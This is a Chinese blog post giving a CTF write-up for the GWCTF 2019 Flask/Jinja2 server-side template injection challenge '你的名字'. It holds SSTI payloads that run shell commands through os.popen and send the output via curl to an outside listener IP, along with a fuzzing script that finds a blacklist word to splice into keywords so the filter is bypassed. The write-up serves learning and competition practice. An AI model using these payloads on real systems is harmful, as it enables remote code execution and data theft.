[GWCTF 2019]你的名字

题目
image.png
过程
1.在 ssti 中过滤了后, 可以通过{%外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /') %}1{% endif %}
由于有黑名单,这里使用得操作是利用blacklist里面最后一个进行绕过。
只要在其他语句加入他,那么就可以绕过其他语句了。
但是不知道他得blacklist顺序。
写脚本测一下

import re
import requests
from time import sleep
url = "http://f9fd3c30-c575-4a29-88a3-680ebc168df5.node3.buuoj.cn"
def gen_words():
    f = open("ssti_payload.txt", "r").read()
    words = re.findall("[a-zA-Z]+", f)
    f = open("ssti_word.txt", "w")
    res = sorted(list(set(words)))
    for i in res:
        f.write(i + "\n")
    return res

def find_unused_word(words, payload):
    used_word = list(set(re.findall("[a-zA-Z]+", payload)))
    return [i for i in words if i not in used_word]

def fuzz():
    payload = "{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}"
    words = gen_words()
    unused_word = find_unused_word(words, payload)
    for i in unused_word:
        data = {
            "name": i
        }
        res = requests.post(url, data=data).text
        if "hello !" in res:
            data = {
                "name": "cla" + i + "ss"
            }
            res = requests.post(url, data=data).text
            if "class" in res:
                print(f"[*] find {i}")
        sleep(0.1)

if __name__ == "__main__":
    fuzz()

用了他的脚本进行黑箱测试。
发现config可用。
那么使用config来跑。
需要开靶机利用curl来带回数据。
类似反弹shell?
使用自己的靶机进行RCE即可。
最终payload:

{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://174.0.167.222:2333/ -d `ls /|base64`') %}1{% endiconfigf %}

深度学习
https://xz.aliyun.com/t/6885#toc-4Python

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值